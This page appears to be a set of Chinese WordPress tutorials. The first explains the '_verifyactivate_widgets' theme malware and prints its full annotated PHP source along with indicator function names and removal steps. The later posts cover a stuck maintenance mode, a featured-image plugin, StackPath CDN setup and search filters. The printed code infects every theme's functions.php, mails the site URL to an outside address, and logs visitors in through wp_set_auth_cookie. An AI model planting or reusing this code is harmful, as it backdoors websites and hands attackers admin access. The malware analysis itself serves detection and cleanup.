专业WORDPRESS主题设计制作

WordPress主题如何清理恶意代码_verifyactivate_widgets(wordpress修改主题代码)

发布于: 2022-11-03

1 WordPress主题function.php文件里的恶意代码

 

最近我们在使用Wordfence Security安全插件扫描网站恶意代码之后,发现了WordPress主题的function.php文件里,隐藏恶意病毒代码。

WordPress主题function.php文件里的恶意代码

 

WordPress中“恶意代码”最有可能出现的地方是主题目录下的function.php,通常是隐藏在function.php文件的结尾。

主要问题:该恶意代码会在每次有人访问你的博客页面时,检测当前博客下的所有主题是否都被感染,如果没有,就会一起被感染。

之后在执行wp的初始化动作init的时候,会检查当前博客是否有发邮件到邮箱 [email protected]gmail. com

怎么知道是否发了?

  • 在你的wp_options表 里面有一个名为_is_widget_active_的选项,如果已经发送成功,则将其值设置为1;
  • 如果没有,则以当前被感染博客的主页URL作为标题和内容。
  • 仅此而已,没有做其它坏事了。

恶意病毒代码如下(可能会有一些差异,但基本代码是一样的):

<?php
function _verifyactivate_widgets(){
//当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签,其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
//为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的,连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的,则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录?再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论(不包括trackback/pingback)的文章
// post_author 为 [email protected] 的文章,肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用 wp_mail 向 [email protected] 发送邮件,标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “sntrx0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “n”;
} else {
$output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “</a></” . $tag . “>” . “n”;
}
}
return $output;
}

//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS ”comment_count” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””;
if(!$show_pass_post) $request .= ” AND post_password =”””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.“”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

WordPress主题恶意代码有哪些?

如果使用Wordfence Security安全插件扫描确定你的function.php文件被篡改了,需要检查一下,例如:

tag汇总1(tag信息)
  1. _verifyactivate_widgets
  2. function _checkactive_widgets
  3. function _get_allwidgets_cont
  4. function stripos
  5. function strripos
  6. function scandir
  7. function _getprepare_widget
  8. function __popular_posts
  9. add_action(“admin_head”, “_checkactive_widgets”);
  10. add_action(“init”, “_getprepare_widget”);
  11. _verify_isactivate_widgets
  12. _check_isactive_widget
  13. _get_allwidgetscont
  14. _prepare_widgets
  15. __popular_posts
  • 每一行都是独立的,如果你的functions.php中有以上代码,那么你可能会被击中。
  • 其中,functions和add_action一般是属于“准备活动”的“恶意代码”的代码。

如何清除WordPress主题function.php恶意病毒代码?

清理起来也很简单,只要在WordPress主题的function.php文件中,找到上面类似的代码并删除即可,但是因为一旦被感染,你的themes主题目录下的所有主题会被感染,所以只清除当前使用的主题是无效的,清除后很快就会生成。

解决方法是清除一个WordPress主题的恶意病毒代码后,将functions.php文件设置为444权限,然后清除其它WordPress主题。

至于最后一个functions.php文件的444权限是否需要改回来,们人建议444还是比较安全的,需要修改的时候可以修改。

Wordfence Security插件使用的注意事项

我们推荐 Wordfence Security 的 WordPress 插件,一个集成了防火墙和恶意代码扫描的 WordPress 安全插件,由一个大型团队构建和维护,100% 专注于 WordPress 安全。

虽然有付费模块,但我们可以使用免费模块“扫描”来扫描我们的WordPress网站,检查包含“恶意代码”的PHP文件,虽然有一定的误报率(主要是一些正版插件, 主题加密组件会被误报),但查找“恶意代码”肯定是事半功倍。

需要注意的是,这个插件不建议经常开启,因为它的防火墙和安全防护会对数据库造成一定的负载压力,影响网站的性能。

通常,启用插件以在需要时运行“扫描”扫描。

排查完毕后关闭插件,以备不时之需。

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress主题如何清理恶意代码_verifyactivate_widgets》,对您有帮助。

WordPress修复Briefly unavailable for scheduled maintenance(wordpress修复菜单)

发布于: 2022-11-03

1 为何导致 WordPress 上的“暂时无法进行定期维护”错误?

  • 2 如何解决“Briefly unavailable for scheduled maintenance. check back in a minute?
  • 3 如何避免“Briefly unavailable for scheduled maintenance. check back in a minute?

 

WordPress修复“暂时无法进行定期维护。尝试访问你的 WordPress 网站时,请稍后再查”问题。

你是否遇到过“Briefly unavailable for scheduled maintenance. check back in a minute”错误?

像这样的错误令人沮丧,但不要担心!修复“暂时无法进行定期维护。一会儿回来看看。”WordPress 上的错误只需要几分钟。

briefly-unavailable-for-scheduled-maintenance_001

在本文中,我们将介绍:

  • 为什么你会看到错误消息?
  • 如何修复 WordPress 上的“Briefly unavailable for scheduled maintenance. check back in a minute”消息?
  • 如何防止将来遇到此问题的提示?

为何导致 WordPress 上的“暂时无法进行定期维护”错误?

每当你使用仪表板中内置的 WordPress 更新系统更新核心软件、WordPress插件或主题时,WordPress 会将你的网站置于“维护模式”,以便它可以安全地更新相关文件。

如果你在更新WordPress程序的过程中注意过,WordPress 在执行更新时实际上会在你的仪表板中告诉你这一点 ▼

briefly-unavailable-for-scheduled-maintenance_002

  • 你可以看到 WordPress 打开/关闭维护模式。

当你的网站处于维护模式时,任何尝试访问你的 WordPress 网站的人都会看到“Briefly unavailable for scheduled maintenance. check back in a minute”消息 ▼

briefly-unavailable-for-scheduled-maintenance_003

  • “暂时无法进行定期维护。请稍后再回来查看”消息。

所以实际上,消息本身并不是错误,它应该只存在很短的时间内。

通常,WordPress 无缝启用维护模式,执行更新,然后禁用维护模式。大多数时候,这个过程非常无缝,只需要几秒钟,你甚至不会注意到你的网站发生了变化。

但是,有时你的网站会“陷入”维护模式。那时“Briefly unavailable for scheduled maintenance. check back in a minute”消息开始成为问题,因为它不会消失,并阻止你和其他人访问你的网站。

你的 WordPress 网站可能会卡在维护模式有多种原因,最常见的原因是:

  • 你在更新WordPress过程中关闭了浏览器选项卡。
  • 你试图同时更新大量不同的主题/插件,但有些东西停滞了。
  • 导致故障的更新存在一些兼容性问题。

值得庆幸的是,修复“Briefly unavailable for scheduled maintenance. check back in a minute”WordPress 上的消息,只要求你通过 FTP 删除单个文件。

如何解决“Briefly unavailable for scheduled maintenance. check back in a minute?

以下是如何让你的网站再次运行的解决方案。

为了让你的网站进入维护模式,WordPress 将一个名为.maintenance的文件添加到你的 WordPress 站点的根文件夹中(这与你的wp-config.php文件所在的文件夹相同)。

使你的站点退出维护模式并摆脱“暂时无法进行定期维护。请稍后再查看”消息,你需要做的就是删除该.maintenance文件。

这是有关如何执行此操作的分步指南……

第 1 步:通过 SFTP 连接到你的 WordPress 网站

首先,你需要使用 FTP 程序通过 SFTP 连接到你的 WordPress 站点。

连接到站点后,你应该会在public文件夹中,看到所有站点文件的列表 ▼

briefly-unavailable-for-scheduled-maintenance_004

  • .maintenance 文件位于服务器的“public”文件夹中。

第 2 步:删除 .maintenance 文件

现在,你需要做的就是删除名为.maintenance的文件,以让你的站点退出维护模式并解决问题 ▼

briefly-unavailable-for-scheduled-maintenance_005

  • 删除 .maintenance 文件,就这样简单而已!
  • 删除文件后,你的 WordPress 网站应立即开始正常运行。

如果你没有看到.maintenance文件,你可能需要显示隐藏文件。

例如,在FileZilla中,单击顶部的“服务器”,然后单击“强制显示隐藏文件” ▼

briefly-unavailable-for-scheduled-maintenance_006

强制显示隐藏文件

如何避免“Briefly unavailable for scheduled maintenance. check back in a minute?

以下是一些提示,可帮助你避免将来遇到此问题。

1.运行WordPress更新时,不要关闭浏览器选项卡

每当你使用 WordPress 的更新功能时,请确保你的浏览器选项卡保持打开状态,直到你看到“禁用维护模式...所有更新已完成”的消息 ▼

briefly-unavailable-for-scheduled-maintenance_007

  • 看到此消息时,你可以安全地关闭浏览器选项卡。

2.避免同时更新过多的WordPress主题和插件

  • 尝试限制一次运行的更新数量。
  • 例如,在可用时更新WordPress主题和插件,而不是等待一次全部完成。
  • 除了减少陷入维护模式的机会之外,定期更新你的网站通常是保持网站安全和正常运行的好方法。

3. 确保主题和插件兼容

在你运行任何更新之前,请确保你正在更新的主题或插件与你正在运行的 WordPress 版本兼容。

你可以通过单击查看详细信息链接,快速检查确认WordPress插件和主题的兼容性 ▼

briefly-unavailable-for-scheduled-maintenance_008

  • 检查WordPress插件或主题的兼容性。

扩展阅读:

WordPress错误怎么办?Health Check & Troubleshooting插件排查

当WordPress网站出现一些致命错误问题,找不到原因时,必须禁用所有插件,然后逐个启用,以便观察是WordPress主题,或是哪些WordPress插件造成冲突。但是,禁用所有WordPress插件,绝对会影……

wordpress-enable-troubleshooting-mode-1WordPress致命错误:登录站点后台安装插件主题遇到错误怎么解决?

最近Dropbox API停止使用长期访问令牌。 为了符合这些新的变化,BackWPup插件必须实现刷新令牌的使用,它只能在您重新进行身份验证时获取。登录WordPress后台提示此站点遇到了致命错误You……

wordpress-fatal-error解决WordPress更新失败:因为我们不能复制一些文件,升级未被安装

有时,当我们升级WordPress建站程序版本,或升级WordPress插件时,会出现错误提示:更新失败:因为我们不能复制一些文件,升级未被安装。这通常是WordPress建站程序的文件权限不一……

wordpress-update-failed-not-installed-1

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress修复Briefly unavailable for scheduled maintenance》,对您有帮助。

WordPress外链特色图片插件:Featured Image from URL(wordpress图片本地化插件)

发布于: 2022-11-03

1 Featured Image From URL插件下载

  • 2 Featured Image From URL插件设定
    • 2.1 不建议启用Media Libarary
    • 2.2 自动设置第1张图片为特色图片
    • 2.3 Fake Internal Featured Image设定
  • 3 结语

 

WordPress如何添加外链特色图片?Featured Image from URL插件设定

虽然用WordPress建站有很多优势,但是在WordPress默认的媒体库,并不是那么好用:

  • 上传图片会自动裁剪生成各种尺寸的冗余图像……
  • 需要手动添加特色图片……
  • 很多WordPress主题的缩略图,都必须添加特色图片,才能如常显示,否则无缩略图会非常难看……

其实,我们是将网站上的图片,上传到服务器的其它文件夹。

这样做的好处:

  • 这些大量图像不会降低网站的性能。
  • 也不会添加自动裁剪生成各种尺寸多余没用的图像。

所以,在此分享可以添加外链特色图片功能的WordPress插件——Featured Image From URL(来自URL的特色图片)。

Featured Image From URL插件下载

插件名称:Featured Image From URL

点此访问 WordPress 官网下载 Featured Image From URL 插件

安装WordPress插件的方法,请浏览这篇建站教程 ▼

  • 在安装和启用WordPress插件后,就能直接使用。
  • 尽管该插件有许多设置选项,但如果你不知道设置的定义,则可先跳过不做设置。

Featured Image From URL插件设定

进入WordPress文章编辑页面后,如果在右侧边栏中没有Featured Image From URL ……

请在单击文章页面顶部的“显示选项”后,勾选“Featured Image from URL” ▼

featured-image-from-url_1

你应该能够在文章编辑区域的右侧:

找到Featured Image From URL 字段输入框,直接填写要使用的图像URL ▼

featured-image-from-url_2

当然,有兴趣使用此插件的朋友可以测试每个设置。

不建议启用Media Libarary

在“Admin Area”→“Media Libarary”选项(不建议启用) ▼

media-library

  • 因为若启用Media Libarary功能后,会在“媒体库”占用ID自动生成大量没用的“文章媒体”;
  • 所以我们非常不建议启用Media Libarary功能。

自动设置第1张图片为特色图片

在保存、发布或更新时,开启“use the first image as featured image”功能 ▼

 

featured-image-from-url-auto-image

  • 若开启“overwrite the existing external featured image”,可覆盖外链特色图片 ▲

Fake Internal Featured Image设定

以下是Metadata → Fake Internal Featured Image(假内部特色图片)设定▼

fake-internal-featured-image

默认的外部精选图片显示问题:

  • 若无法如常显示Default External Featured Image(默认的外部精选图片)
  • 比如:换新的默认的外部精选图片后,网站还是显示之前默认的外部精选图片……
  • 需在“Metadata”,点击“Clean metadata”,会先停用“Fake Internal Featured Image”。
  • 接着,开启“Fake Internal Featured Image”,就能解决无法显示Default External Featured Image的问题了。

结语

  • 虽然WordPress插件Nelio External Featured Image也有类似功能,但该插件作者不再维护更新该插件。
  • 如果你想找到WordPress特色图片、自动缩略图的替代方案,你可以使用本文分享WordPress外链特色图片插件。

希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress外链特色图片插件:Featured Image from URL》,对您有帮助。

国外CDN服务商外贸免备案推荐:Stackpath CDN设置教程(国外知名cdn服务商)

发布于: 2022-11-03

1 CDN是什么?有什么用?

  • 1.1 Stackpath全能CDN(前称MaxCDN)
  • 1.2 Stackpath全球CDN节点有哪些?
  • 2 为什么要用Stackpath CDN?
  • 3 StackPath CDN如何设置?
    • 3.1 Autoptimize 插件主要设置CDN
    • 3.2 Autoptimize 插件额外设置

如何10倍提升外贸网站速度?从而提高谷歌搜索排名?

CDN是什么?有什么用?

  • CDN(英文全称是Content distribution network),中文名称是“内容分发网络”。
  • CDN能将将你网站上的内容,缓存在不同地理位置的多个服务器上。
  • 通过最接近的服务器,将内容提供给你的站点访问者,从而加快网站访问速度。

在本文中,我们将分享可以帮助你加快外贸网站速度的WordPress最佳CDN服务。

Stackpath全能CDN(前称MaxCDN)

stackpath-index

多年来MaxCDN是个非常流行的CDN服务,特别是对于WordPress用户:

  • 2016年,Stackpath收购了MaxCDN,并将MaxCDN的服务包含在Stackpath品牌中。
  • 现在,2者是同1个。
  • 和Cloudflare一样,Stackpath提供CDN和安全服务。

但是,Stackpath为你提供了很多选择,你可以选择特定服务,或者使用包含CDN、防火墙、托管DNS、全球DDoS保护等的完全“边缘交付包”。

Stackpath的全球DDoS保护:

  • StackPath的完全DDoS保护功能,可以有效缓解任何因大量流量,而淹没你网站的DDoS攻击。
  • StackPath的全球网络可以缓解最大、最复杂的DDoS攻击,并最大限度地减少对服务的影响。
  • StackPath DDoS缓解技术可以解决所有DDoS攻击方法,包括:UDP,SYN和HTTP泛洪,并且不断进一步开发,以阻止新兴技术和策略。

Stackpath全球CDN节点有哪些?

目前,Stackpath 在除非洲之外的每个宜居大陆上,提供了35个以上的CDN节点。 你可以查看以下地图 ▼

stackpath-cdn-node点此进入 Stackpath官网 查看最新全球CDN节点

  • 因为Stackpath是个国外CDN服务商,所以设置起来非常简单。
  • 你只需输入你网站的URL,然后Stackpath将处理特定资源,提取到其服务器上。
  • 然后,你可以开始使用从Stackpath的边缘服务器提供的CDN服务。

为什么要用Stackpath CDN?

  1. 因为网站访问速度,是搜索引擎排名规则之一。
  2. 而且,我们在《引流推广》专题中,就有说到研究平台规则,是引流量的重点之一。
  3. 所以, 外贸网络推广人员做SEO,想要进一步提升在谷歌搜索结果排名,提升网站速度是至关重要的。

Stackpath的优点有哪些?

  • 容易设置。
  • 你无需更改名称服务器,这可以让你完全控制。
  • 轻松的按月计费。
  • 如果需要,还提供其它功能,如Web应用程序防火墙和托管DNS。

StackPath CDN如何设置?

第1步:注册StackPath CDN 账号▼

点此进入 StackPath CDN 官网

输入邮箱和密码,并单击“Create an Account”按钮,创建一个帐户 ▼

create-stackpath-account

第 2 步:需要选择一项StackPath服务。StackPath提供网站和应用程序服务以及边缘计算服务  选择一“网站和应用程序服务” ▼

create-stackpath-account_001

第 3 步:选择StackPath的 CDN ▼

create-stackpath-account_002

第 3 步:通过发送到你的电子邮件帐户的链接验证你的电子邮件地址后,它会将你重定向到付款页面 ▼

  • 无需输入 StackPath 促销代码。只需点击我们指向StackPath的链接,系统就会自动应用最优惠的价格。

create-stackpath-account_003

第 4 步:在StackPath仪表板中,单击Site选项卡 ▼

stackpath_cdn_settings_002

第 5 步:创建StackPath CDN站点 ▼

stackpath_cdn_settings_003

  • 输入将提供CDN资源的域名URL。

在大多数情况下,这是网站的URL。

  1. 网络服务器(默认)
  2. 亚马逊S3
    • 虚拟托管样式的URL
      • bucket.s3- aws-region.amazonaws.com
    • 路径托管样式
      • s3- aws-region.amazonaws.com /bucket-name
  3. GCS Bucket
    • bucket-name .storage.googleapis.com

stackpath_cdn_settings_004

  • 在“ 可用服务”下,勾选CDN框  (你可以随时添加更多内容)
  • 在StackPath中设置你的服务器IP地址。

第 6 步:将StackPath CDN URL粘贴到Autoptimize插件的CDN Base URL字段中 ▼ stackpath_cdn_settings_005

  • 你需要在URL的开头添加 http://https:// 才能使用Autoptimize 插件。

第 7 步:在StackPath中转到CDN→CACHE SETTINGS(缓存设置)▼

stackpath_cdn_settings_006

  • 然后单击“Purge Everythig(清除所有内容)” ▲

第 8 步:在StackPath中将你的服务器IP地址列入白名单(WAF→防火墙) ▼

stackpath_cdn_settings_007

在GTmetrix中测试运行你的站点 ,YSlow中的“内容交付网络”应为绿色 ▼

stackpath_cdn_settings_008

如果使用WordPress建站,可以安装WordPress插件Autoptimize。

Autoptimize 插件主要设置CDN

stackpath_cdn_settings_001

  • 优化HTML代码 – 启用(修复缩小GTmetrix中的项目)。
  • 优化JavaScript代码 – 启用(修复GTmetrix中的JavaScript项目)。启用此功能后测试你的网站并检查错误,因为优化JavaScript过程中,可能会造成网站出错。
  • 优化CSS代码 – 启用(修复GTmetrix中的CSS项目)。启用此功能后测试你的站点。
  • CDN基本URL – 这是你的CDN URL所在的位置。

Autoptimize 插件额外设置

stackpath_cdn_settings_009

Google字体:

  • 如果使用 Google字体 ,可以在从外部资源(Google字体库)中提取时减慢加载时间。
  • 如果你的网站用户有来自中国大陆,建议选择删除Google字体库。

优化图片:

  • 你网站上的网址将更改为指向 ShortPixel的CDN。
  • 只要它是无损压缩,这不应该影响它们的外观,但它们会加载得更快。

图像优化质量:

  • 启用无损压缩以避免丢失图像质量。

删除Emojis

  • 启用(表情符号加载时间不好)。

从静态资源中删除查询字符串

  • 查询字符串通常由插件生成,无法修复(在GTmetrix / Pingdom中)只是启用此功能,但你可以尝试。
  • 更好的解决方案是检查你的站点是否有高CPU插件,并用轻量级插件替换它们。
  • 大多数高CPU插件包括社交共享、图库、页面构建器、相关帖子、统计和实时聊天插件。
  • 你还应删除所有不必要的插件并清理数据库(使用WP-Optimize等插件)清除卸载的插件留下的表。

预连接到第3方域名

  • 帮助浏览器预链接来自外部资源(Google字体、分析、地图、跟踪代码管理器、亚马逊商店等)的请求。
  • 这些通常在Pingdom报告中显示为“最小化DNS查找”,但以下是常见示例。
https://fonts.googleapis.com
https://fonts.gstatic.com
https://www.google-analytics.com
https://ajax.googleapis.com
https://connect.facebook.net
https://www.googletagmanager.com
https://maps.google.com

异步Javascript文件

  • 这意味着某些东西阻止了加载快速加载的内容。
  • 但如果你在GTmetrix和Pingdom中看到JavaScript错误,那么 Async JavaScipt插件可能需要派上用场了。

优化YouTube视频

  • 如果你的网站有视频, WP YouTube Lyte 会加载它们,以便仅在用户向下滚动并点击播放按钮时加载,从而消除对YouTube服务器的初始请求。
  • 这可以减少视频内容的多次关闭加载时间,因为它们是页面上最重要的元素之一。
  • WP Rocket和Swift Performance内置了它们的设置,因此如果你使用其中一个作为缓存插件,则不需要这样做。

到此,我们已经完成了Autoptimize设置中对StackPath CDN的配置。

点此进入 StackPath CDN 官网

希望我们网站( https://www.wordpressx.com/ ) 分享的《国外CDN服务商外贸免备案推荐:Stackpath CDN设置教程》,对您有帮助。

WordPress如何排除指定分类/文章页面在站内搜索结果?(wordpress获取分类文章)

发布于: 2022-11-03

1 WordPress站内搜索排除指定文章或页面

 

有些时候,我们可能不想让某分类、文章或页面,出现在WordPress站内搜索结果中。

因此我们可以使用filter(过滤器),来过滤掉某些文章或网页。

  • 这就是使用WordPress建站的优势。

WordPress站内搜索排除指定文章或页面

// WordPress搜索结果排除指定文章或页面ID
function wpsite_search_filter_id($query) {
if ( !$query->is_admin && $query->is_search) {
$query->set('post__not_in', array(40,819));
//文章或者页面的ID
}
return $query;
}
add_filter('pre_get_posts','wpsite_search_filter_id');
  • 请注意:需要修改第4行的文章或页面的ID。

WordPress站内搜索排除某些类别的文章

// WordPress搜索结果排除某分类的文章
function wpsite_search_filter_category( $query) {
if ( !$query->is_admin && $query->is_search) {
$query->set('cat','-15,-57');
//分类的ID,前面的减号表示排除;如果直接写ID,则表示只在该分类ID中搜索
}
return $query;
}
add_filter('pre_get_posts','wpsite_search_filter_category');
  • 请注意:修改ID、查看代码注释说明。

WordPress站内搜索排除所有页面

这非常实用,建议添加 ▼

// WordPress搜索结果排除所有页面
function search_filter_page($query) {
if ($query->is_search) {
$query->set('post_type', 'post');
}
return $query;
}
add_filter('pre_get_posts','search_filter_page');

Search Exclude插件不让某篇文章页面显示在站内搜索结果

  • 我们用WordPress建站,本来是不具备站内搜索排除某篇文章页面的功能。
  • 但是,可通过添加WordPress代码,或安装WordPress插件来实现此功能。
  • Search Exclude插件允许你随时将特定文章排除在站内搜索结果中。

安装Search Exclude插件后,你将在文章编辑界面的右侧看到新功能 ▼

wordpress_search_excludes_specified_articles_001

